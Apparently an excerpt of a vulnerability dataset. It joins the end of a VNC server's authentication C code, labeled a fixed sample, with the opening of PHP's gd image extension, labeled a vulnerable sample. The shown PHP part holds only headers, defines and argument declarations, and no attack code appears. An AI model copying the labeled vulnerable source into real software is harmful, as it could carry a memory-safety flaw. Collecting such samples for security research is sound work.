rfbClientAuthFailed is called on authentication failure. Sending a reason * string is defined in RFB 3.8 and above. */ void rfbClientAuthFailed(rfbClientPtr cl, char *reason) { int reasonLen; char buf[8]; CARD32 *buf32 = (CARD32 *)buf; if (cl->protocol_minor_ver < 8) reason = NULL; /* invalidate the pointer */ reasonLen = (reason == NULL) ? 0 : strlen(reason); buf32[0] = Swap32IfLE(rfbAuthFailed); buf32[1] = Swap32IfLE(reasonLen); if (reasonLen == 0) { if (WriteExact(cl, buf, 4) < 0) rfbLogPerror("rfbClientAuthFailed: write"); } else { if (WriteExact(cl, buf, 8) < 0 || WriteExact(cl, reason, reasonLen) < 0) rfbLogPerror("rfbClientAuthFailed: write"); } rfbCloseClient(cl); } /* * rfbClientAuthSucceeded is called on successful authentication. It just * sends rfbAuthOK and dispatches client input to * rfbProcessClientInitMessage(). However, the rfbAuthOK message is not sent * if authentication was not required and the protocol version is 3.7 or lower. */ void rfbClientAuthSucceeded(rfbClientPtr cl, CARD32 authType) { CARD32 authResult; if (cl->protocol_minor_ver >= 8 || authType == rfbAuthVNC) { authResult = Swap32IfLE(rfbAuthOK); if (WriteExact(cl, (char *)&authResult, 4) < 0) { rfbLogPerror("rfbClientAuthSucceeded: write"); rfbCloseClient(cl); return; } } /* Dispatch client input to rfbProcessClientInitMessage() */ cl->state = RFB_INITIALISATION; } /********************************************************************* * Functions to prevent too many successive authentication failures. * * FIXME: This should be performed separately for each client. */ /* Maximum authentication failures before blocking connections */ #define MAX_AUTH_TRIES 5 /* Delay in ms. This doubles for each failure over MAX_AUTH_TRIES. */ #define AUTH_TOO_MANY_BASE_DELAY 10 * 1000 static int rfbAuthTries = 0; static Bool rfbAuthTooManyTries = FALSE; static OsTimerPtr timer = NULL; /* * This function should not be called directly. It is called by setting a * timer in rfbAuthConsiderBlocking(). */ static CARD32 rfbAuthReenable(OsTimerPtr timer, CARD32 now, pointer arg) { rfbAuthTooManyTries = FALSE; return 0; } /* * This function should be called after each authentication failure. The * return value will be true if there were too many failures. */ Bool rfbAuthConsiderBlocking(void) { int i; rfbAuthTries++; if (rfbAuthTries >= MAX_AUTH_TRIES) { CARD32 delay = AUTH_TOO_MANY_BASE_DELAY; for (i = MAX_AUTH_TRIES; i < rfbAuthTries; i++) delay *= 2; timer = TimerSet(timer, 0, delay, rfbAuthReenable, NULL); rfbAuthTooManyTries = TRUE; return TRUE; } return FALSE; } /* * This function should be called after a successful authentication. It * resets the counter of authentication failures. Note that it's not necessary * to clear the rfbAuthTooManyTries flag, as it will be reset by the timer * function. */ void rfbAuthUnblock(void) { rfbAuthTries = 0; } /* * This function should be called before authentication. The return value will * be true if there were too many authentication failures, and the server * should not allow another try. */ Bool rfbAuthIsBlocked(void) { return rfbAuthTooManyTries; }
./CrossVul/dataset_final_sorted/CWE-787/c/good_1040_0
crossvul-cpp_data_bad_5256_0
/* +----------------------------------------------------------------------+ | PHP Version 5 | +----------------------------------------------------------------------+ | Copyright (c) 1997-2016 The PHP Group | +----------------------------------------------------------------------+ | This source file is subject to version 3.01 of the PHP license, | | that is bundled with this package in the file LICENSE, and is | | available through the world-wide-web at the following url: | | http://www.php.net/license/3_01.txt | | If you did not receive a copy of the PHP license and are unable to | | obtain it through the world-wide-web, please send a note to | | license@php.net so we can mail you a copy immediately. | +----------------------------------------------------------------------+ | Authors: Rasmus Lerdorf <rasmus@php.net> | | Stig Bakken <ssb@php.net> | | Jim Winstead <jimw@php.net> | +----------------------------------------------------------------------+ */ /* $Id$ */ /* gd 1.2 is copyright 1994, 1995, Quest Protein Database Center, Cold Spring Harbor Labs. */ /* Note that there is no code from the gd package in this file */ #ifdef HAVE_CONFIG_H #include "config.h" #endif #include "php.h" #include "php_ini.h" #include "ext/standard/head.h" #include <math.h> #include "SAPI.h" #include "php_gd.h" #include "ext/standard/info.h" #include "php_open_temporary_file.h" #if HAVE_SYS_WAIT_H # include <sys/wait.h> #endif #if HAVE_UNISTD_H # include <unistd.h> #endif #ifdef PHP_WIN32 # include <io.h> # include <fcntl.h> # include <windows.h> # include <Winuser.h> # include <Wingdi.h> #endif #ifdef HAVE_GD_XPM # include <X11/xpm.h> #endif # include "gd_compat.h" static int le_gd, le_gd_font; #if HAVE_LIBT1 #include <t1lib.h> static int le_ps_font, le_ps_enc; static void php_free_ps_font(zend_rsrc_list_entry *rsrc TSRMLS_DC); static void php_free_ps_enc(zend_rsrc_list_entry *rsrc TSRMLS_DC); #endif #include <gd.h> #ifndef HAVE_GD_BUNDLED # include <gd_errors.h> #endif #include <gdfontt.h> /* 1 Tiny font */ #include <gdfonts.h> /* 2 Small font */ #include <gdfontmb.h> /* 3 Medium bold font */ #include <gdfontl.h> /* 4 Large font */ #include <gdfontg.h> /* 5 Giant font */ #ifdef ENABLE_GD_TTF # ifdef HAVE_LIBFREETYPE # include <ft2build.h> # include FT_FREETYPE_H # endif #endif #if defined(HAVE_GD_XPM) && defined(HAVE_GD_BUNDLED) # include "X11/xpm.h" #endif #ifndef M_PI #define M_PI 3.14159265358979323846 #endif #ifdef ENABLE_GD_TTF static void php_imagettftext_common(INTERNAL_FUNCTION_PARAMETERS, int, int); #endif #include "gd_ctx.c" /* as it is not really public, duplicate declaration here to avoid pointless warnings */ int overflow2(int a, int b); /* Section Filters Declarations */ /* IMPORTANT NOTE FOR NEW FILTER * Do not forget to update: * IMAGE_FILTER_MAX: define the last filter index * IMAGE_FILTER_MAX_ARGS: define the biggest amount of arguments * image_filter array in PHP_FUNCTION(imagefilter) * */ #define IMAGE_FILTER_NEGATE 0 #define IMAGE_FILTER_GRAYSCALE 1 #define IMAGE_FILTER_BRIGHTNESS 2 #define IMAGE_FILTER_CONTRAST 3 #define IMAGE_FILTER_COLORIZE 4 #define IMAGE_FILTER_EDGEDETECT 5 #define IMAGE_FILTER_EMBOSS 6 #define IMAGE_FILTER_GAUSSIAN_BLUR 7 #define IMAGE_FILTER_SELECTIVE_BLUR 8 #define IMAGE_FILTER_MEAN_REMOVAL 9 #define IMAGE_FILTER_SMOOTH 10 #define IMAGE_FILTER_PIXELATE 11 #define IMAGE_FILTER_MAX 11 #define IMAGE_FILTER_MAX_ARGS 6 static void php_image_filter_negate(INTERNAL_FUNCTION_PARAMETERS); static void php_image_filter_grayscale(INTERNAL_FUNCTION_PARAMETERS); static void php_image_filter_brightness(INTERNAL_FUNCTION_PARAMETERS); static void php_image_filter_contrast(INTERNAL_FUNCTION_PARAMETERS); static void php_image_filter_colorize(INTERNAL_FUNCTION_PARAMETERS); static void php_image_filter_edgedetect(INTERNAL_FUNCTION_PARAMETERS); static void php_image_filter_emboss(INTERNAL_FUNCTION_PARAMETERS); static void php_image_filter_gaussian_blur(INTERNAL_FUNCTION_PARAMETERS); static void php_image_filter_selective_blur(INTERNAL_FUNCTION_PARAMETERS); static void php_image_filter_mean_removal(INTERNAL_FUNCTION_PARAMETERS); static void php_image_filter_smooth(INTERNAL_FUNCTION_PARAMETERS); static void php_image_filter_pixelate(INTERNAL_FUNCTION_PARAMETERS); /* End Section filters declarations */ static gdImagePtr _php_image_create_from_string (zval **Data, char *tn, gdImagePtr (*ioctx_func_p)() TSRMLS_DC); static void _php_image_create_from(INTERNAL_FUNCTION_PARAMETERS, int image_type, char *tn, gdImagePtr (*func_p)(), gdImagePtr (*ioctx_func_p)()); static void _php_image_output(INTERNAL_FUNCTION_PARAMETERS, int image_type, char *tn, void (*func_p)()); static int _php_image_type(char data[8]); static void _php_image_convert(INTERNAL_FUNCTION_PARAMETERS, int image_type); static void _php_image_bw_convert(gdImagePtr im_org, gdIOCtx *out, int threshold); /* {{{ arginfo */ ZEND_BEGIN_ARG_INFO(arginfo_gd_info, 0) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imageloadfont, 0) ZEND_ARG_INFO(0, filename) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagesetstyle, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, styles) /* ARRAY_INFO(0, styles, 0) */ ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagecreatetruecolor, 0) ZEND_ARG_INFO(0, x_size) ZEND_ARG_INFO(0, y_size) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imageistruecolor, 0) ZEND_ARG_INFO(0, im) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagetruecolortopalette, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, ditherFlag) ZEND_ARG_INFO(0, colorsWanted) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagepalettetotruecolor, 0) ZEND_ARG_INFO(0, im) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagecolormatch, 0) ZEND_ARG_INFO(0, im1) ZEND_ARG_INFO(0, im2) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagesetthickness, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, thickness) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagefilledellipse, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, cx) ZEND_ARG_INFO(0, cy) ZEND_ARG_INFO(0, w) ZEND_ARG_INFO(0, h) ZEND_ARG_INFO(0, color) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagefilledarc, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, cx) ZEND_ARG_INFO(0, cy) ZEND_ARG_INFO(0, w) ZEND_ARG_INFO(0, h) ZEND_ARG_INFO(0, s) ZEND_ARG_INFO(0, e) ZEND_ARG_INFO(0, col) ZEND_ARG_INFO(0, style) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagealphablending, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, blend) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagesavealpha, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, save) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagelayereffect, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, effect) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagecolorallocatealpha, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, red) ZEND_ARG_INFO(0, green) ZEND_ARG_INFO(0, blue) ZEND_ARG_INFO(0, alpha) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagecolorresolvealpha, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, red) ZEND_ARG_INFO(0, green) ZEND_ARG_INFO(0, blue) ZEND_ARG_INFO(0, alpha) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagecolorclosestalpha, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, red) ZEND_ARG_INFO(0, green) ZEND_ARG_INFO(0, blue) ZEND_ARG_INFO(0, alpha) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagecolorexactalpha, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, red) ZEND_ARG_INFO(0, green) ZEND_ARG_INFO(0, blue) ZEND_ARG_INFO(0, alpha) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagecopyresampled, 0) ZEND_ARG_INFO(0, dst_im) ZEND_ARG_INFO(0, src_im) ZEND_ARG_INFO(0, dst_x) ZEND_ARG_INFO(0, dst_y) ZEND_ARG_INFO(0, src_x) ZEND_ARG_INFO(0, src_y) ZEND_ARG_INFO(0, dst_w) ZEND_ARG_INFO(0, dst_h) ZEND_ARG_INFO(0, src_w) ZEND_ARG_INFO(0, src_h) ZEND_END_ARG_INFO() #ifdef PHP_WIN32 ZEND_BEGIN_ARG_INFO_EX(arginfo_imagegrabwindow, 0, 0, 1) ZEND_ARG_INFO(0, handle) ZEND_ARG_INFO(0, client_area) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagegrabscreen, 0) ZEND_END_ARG_INFO() #endif ZEND_BEGIN_ARG_INFO_EX(arginfo_imagerotate, 0, 0, 3) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, angle) ZEND_ARG_INFO(0, bgdcolor) ZEND_ARG_INFO(0, ignoretransparent) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagesettile, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, tile) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagesetbrush, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, brush) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagecreate, 0) ZEND_ARG_INFO(0, x_size) ZEND_ARG_INFO(0, y_size) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagetypes, 0) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagecreatefromstring, 0) ZEND_ARG_INFO(0, image) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagecreatefromgif, 0) ZEND_ARG_INFO(0, filename) ZEND_END_ARG_INFO() #ifdef HAVE_GD_JPG ZEND_BEGIN_ARG_INFO(arginfo_imagecreatefromjpeg, 0) ZEND_ARG_INFO(0, filename) ZEND_END_ARG_INFO() #endif #ifdef HAVE_GD_PNG ZEND_BEGIN_ARG_INFO(arginfo_imagecreatefrompng, 0) ZEND_ARG_INFO(0, filename) ZEND_END_ARG_INFO() #endif #ifdef HAVE_GD_WEBP ZEND_BEGIN_ARG_INFO(arginfo_imagecreatefromwebp, 0) ZEND_ARG_INFO(0, filename) ZEND_END_ARG_INFO() #endif ZEND_BEGIN_ARG_INFO(arginfo_imagecreatefromxbm, 0) ZEND_ARG_INFO(0, filename) ZEND_END_ARG_INFO() #if defined(HAVE_GD_XPM) ZEND_BEGIN_ARG_INFO(arginfo_imagecreatefromxpm, 0) ZEND_ARG_INFO(0, filename) ZEND_END_ARG_INFO() #endif ZEND_BEGIN_ARG_INFO(arginfo_imagecreatefromwbmp, 0) ZEND_ARG_INFO(0, filename) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagecreatefromgd, 0) ZEND_ARG_INFO(0, filename) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagecreatefromgd2, 0) ZEND_ARG_INFO(0, filename) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagecreatefromgd2part, 0) ZEND_ARG_INFO(0, filename) ZEND_ARG_INFO(0, srcX) ZEND_ARG_INFO(0, srcY) ZEND_ARG_INFO(0, width) ZEND_ARG_INFO(0, height) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO_EX(arginfo_imagexbm, 0, 0, 2) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, filename) ZEND_ARG_INFO(0, foreground) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO_EX(arginfo_imagegif, 0, 0, 1) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, filename) ZEND_END_ARG_INFO() #ifdef HAVE_GD_PNG ZEND_BEGIN_ARG_INFO_EX(arginfo_imagepng, 0, 0, 1) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, filename) ZEND_END_ARG_INFO() #endif #ifdef HAVE_GD_WEBP ZEND_BEGIN_ARG_INFO_EX(arginfo_imagewebp, 0, 0, 1) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, filename) ZEND_END_ARG_INFO() #endif #ifdef HAVE_GD_JPG ZEND_BEGIN_ARG_INFO_EX(arginfo_imagejpeg, 0, 0, 1) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, filename) ZEND_ARG_INFO(0, quality) ZEND_END_ARG_INFO() #endif ZEND_BEGIN_ARG_INFO_EX(arginfo_imagewbmp, 0, 0, 1) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, filename) ZEND_ARG_INFO(0, foreground) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO_EX(arginfo_imagegd, 0, 0, 1) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, filename) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO_EX(arginfo_imagegd2, 0, 0, 1) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, filename) ZEND_ARG_INFO(0, chunk_size) ZEND_ARG_INFO(0, type) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagedestroy, 0) ZEND_ARG_INFO(0, im) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagecolorallocate, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, red) ZEND_ARG_INFO(0, green) ZEND_ARG_INFO(0, blue) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagepalettecopy, 0) ZEND_ARG_INFO(0, dst) ZEND_ARG_INFO(0, src) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagecolorat, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, x) ZEND_ARG_INFO(0, y) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagecolorclosest, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, red) ZEND_ARG_INFO(0, green) ZEND_ARG_INFO(0, blue) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagecolorclosesthwb, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, red) ZEND_ARG_INFO(0, green) ZEND_ARG_INFO(0, blue) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagecolordeallocate, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, index) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagecolorresolve, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, red) ZEND_ARG_INFO(0, green) ZEND_ARG_INFO(0, blue) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagecolorexact, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, red) ZEND_ARG_INFO(0, green) ZEND_ARG_INFO(0, blue) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO_EX(arginfo_imagecolorset, 0, 0, 5) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, color) ZEND_ARG_INFO(0, red) ZEND_ARG_INFO(0, green) ZEND_ARG_INFO(0, blue) ZEND_ARG_INFO(0, alpha) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagecolorsforindex, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, index) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagegammacorrect, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, inputgamma) ZEND_ARG_INFO(0, outputgamma) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagesetpixel, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, x) ZEND_ARG_INFO(0, y) ZEND_ARG_INFO(0, col) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imageline, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, x1) ZEND_ARG_INFO(0, y1) ZEND_ARG_INFO(0, x2) ZEND_ARG_INFO(0, y2) ZEND_ARG_INFO(0, col) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagedashedline, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, x1) ZEND_ARG_INFO(0, y1) ZEND_ARG_INFO(0, x2) ZEND_ARG_INFO(0, y2) ZEND_ARG_INFO(0, col) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagerectangle, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, x1) ZEND_ARG_INFO(0, y1) ZEND_ARG_INFO(0, x2) ZEND_ARG_INFO(0, y2) ZEND_ARG_INFO(0, col) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagefilledrectangle, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, x1) ZEND_ARG_INFO(0, y1) ZEND_ARG_INFO(0, x2) ZEND_ARG_INFO(0, y2) ZEND_ARG_INFO(0, col) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagearc, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, cx) ZEND_ARG_INFO(0, cy) ZEND_ARG_INFO(0, w) ZEND_ARG_INFO(0, h) ZEND_ARG_INFO(0, s) ZEND_ARG_INFO(0, e) ZEND_ARG_INFO(0, col) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imageellipse, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, cx) ZEND_ARG_INFO(0, cy) ZEND_ARG_INFO(0, w) ZEND_ARG_INFO(0, h) ZEND_ARG_INFO(0, color) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagefilltoborder, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, x) ZEND_ARG_INFO(0, y) ZEND_ARG_INFO(0, border) ZEND_ARG_INFO(0, col) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagefill, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, x) ZEND_ARG_INFO(0, y) ZEND_ARG_INFO(0, col) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagecolorstotal, 0) ZEND_ARG_INFO(0, im) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO_EX(arginfo_imagecolortransparent, 0, 0, 1) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, col) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO_EX(arginfo_imageinterlace, 0, 0, 1) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, interlace) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagepolygon, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, points) /* ARRAY_INFO(0, points, 0) */ ZEND_ARG_INFO(0, num_pos) ZEND_ARG_INFO(0, col) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagefilledpolygon, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, points) /* ARRAY_INFO(0, points, 0) */ ZEND_ARG_INFO(0, num_pos) ZEND_ARG_INFO(0, col) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagefontwidth, 0) ZEND_ARG_INFO(0, font) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagefontheight, 0) ZEND_ARG_INFO(0, font) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagechar, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, font) ZEND_ARG_INFO(0, x) ZEND_ARG_INFO(0, y) ZEND_ARG_INFO(0, c) ZEND_ARG_INFO(0, col) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagecharup, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, font) ZEND_ARG_INFO(0, x) ZEND_ARG_INFO(0, y) ZEND_ARG_INFO(0, c) ZEND_ARG_INFO(0, col) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagestring, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, font) ZEND_ARG_INFO(0, x) ZEND_ARG_INFO(0, y) ZEND_ARG_INFO(0, str) ZEND_ARG_INFO(0, col) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagestringup, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, font) ZEND_ARG_INFO(0, x) ZEND_ARG_INFO(0, y) ZEND_ARG_INFO(0, str) ZEND_ARG_INFO(0, col) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagecopy, 0) ZEND_ARG_INFO(0, dst_im) ZEND_ARG_INFO(0, src_im) ZEND_ARG_INFO(0, dst_x) ZEND_ARG_INFO(0, dst_y) ZEND_ARG_INFO(0, src_x) ZEND_ARG_INFO(0, src_y) ZEND_ARG_INFO(0, src_w) ZEND_ARG_INFO(0, src_h) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagecopymerge, 0) ZEND_ARG_INFO(0, src_im) ZEND_ARG_INFO(0, dst_im) ZEND_ARG_INFO(0, dst_x) ZEND_ARG_INFO(0, dst_y) ZEND_ARG_INFO(0, src_x) ZEND_ARG_INFO(0, src_y) ZEND_ARG_INFO(0, src_w) ZEND_ARG_INFO(0, src_h) ZEND_ARG_INFO(0, pct) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagecopymergegray, 0) ZEND_ARG_INFO(0, src_im) ZEND_ARG_INFO(0, dst_im) ZEND_ARG_INFO(0, dst_x) ZEND_ARG_INFO(0, dst_y) ZEND_ARG_INFO(0, src_x) ZEND_ARG_INFO(0, src_y) ZEND_ARG_INFO(0, src_w) ZEND_ARG_INFO(0, src_h) ZEND_ARG_INFO(0, pct) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagecopyresized, 0) ZEND_ARG_INFO(0, dst_im) ZEND_ARG_INFO(0, src_im) ZEND_ARG_INFO(0, dst_x) ZEND_ARG_INFO(0, dst_y) ZEND_ARG_INFO(0, src_x) ZEND_ARG_INFO(0, src_y) ZEND_ARG_INFO(0, dst_w) ZEND_ARG_INFO(0, dst_h) ZEND_ARG_INFO(0, src_w) ZEND_ARG_INFO(0, src_h) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagesx, 0) ZEND_ARG_INFO(0, im) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagesy, 0) ZEND_ARG_INFO(0, im) ZEND_END_ARG_INFO() #ifdef ENABLE_GD_TTF #if HAVE_LIBFREETYPE ZEND_BEGIN_ARG_INFO_EX(arginfo_imageftbbox, 0, 0, 4) ZEND_ARG_INFO(0, size) ZEND_ARG_INFO(0, angle) ZEND_ARG_INFO(0, font_file) ZEND_ARG_INFO(0, text) ZEND_ARG_INFO(0, extrainfo) /* ARRAY_INFO(0, extrainfo, 0) */ ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO_EX(arginfo_imagefttext, 0, 0, 8) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, size) ZEND_ARG_INFO(0, angle) ZEND_ARG_INFO(0, x) ZEND_ARG_INFO(0, y) ZEND_ARG_INFO(0, col) ZEND_ARG_INFO(0, font_file) ZEND_ARG_INFO(0, text) ZEND_ARG_INFO(0, extrainfo) /* ARRAY_INFO(0, extrainfo, 0) */ ZEND_END_ARG_INFO() #endif ZEND_BEGIN_ARG_INFO(arginfo_imagettfbbox, 0) ZEND_ARG_INFO(0, size) ZEND_ARG_INFO(0, angle) ZEND_ARG_INFO(0, font_file) ZEND_ARG_INFO(0, text) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagettftext, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, size) ZEND_ARG_INFO(0, angle) ZEND_ARG_INFO(0, x) ZEND_ARG_INFO(0, y) ZEND_ARG_INFO(0, col) ZEND_ARG_INFO(0, font_file) ZEND_ARG_INFO(0, text) ZEND_END_ARG_INFO() #endif #ifdef HAVE_LIBT1 ZEND_BEGIN_ARG_INFO(arginfo_imagepsloadfont, 0) ZEND_ARG_INFO(0, pathname) ZEND_END_ARG_INFO() /* ZEND_BEGIN_ARG_INFO(arginfo_imagepscopyfont, 0) ZEND_ARG_INFO(0, font_index) ZEND_END_ARG_INFO() */ ZEND_BEGIN_ARG_INFO(arginfo_imagepsfreefont, 0) ZEND_ARG_INFO(0, font_index) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagepsencodefont, 0) ZEND_ARG_INFO(0, font_index) ZEND_ARG_INFO(0, filename) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagepsextendfont, 0) ZEND_ARG_INFO(0, font_index) ZEND_ARG_INFO(0, extend) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagepsslantfont, 0) ZEND_ARG_INFO(0, font_index) ZEND_ARG_INFO(0, slant) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO_EX(arginfo_imagepstext, 0, 0, 8) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, text) ZEND_ARG_INFO(0, font) ZEND_ARG_INFO(0, size) ZEND_ARG_INFO(0, foreground) ZEND_ARG_INFO(0, background) ZEND_ARG_INFO(0, xcoord) ZEND_ARG_INFO(0, ycoord) ZEND_ARG_INFO(0, space) ZEND_ARG_INFO(0, tightness) ZEND_ARG_INFO(0, angle) ZEND_ARG_INFO(0, antialias) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO_EX(arginfo_imagepsbbox, 0, 0, 3) ZEND_ARG_INFO(0, text) ZEND_ARG_INFO(0, font) ZEND_ARG_INFO(0, size) ZEND_ARG_INFO(0, space) 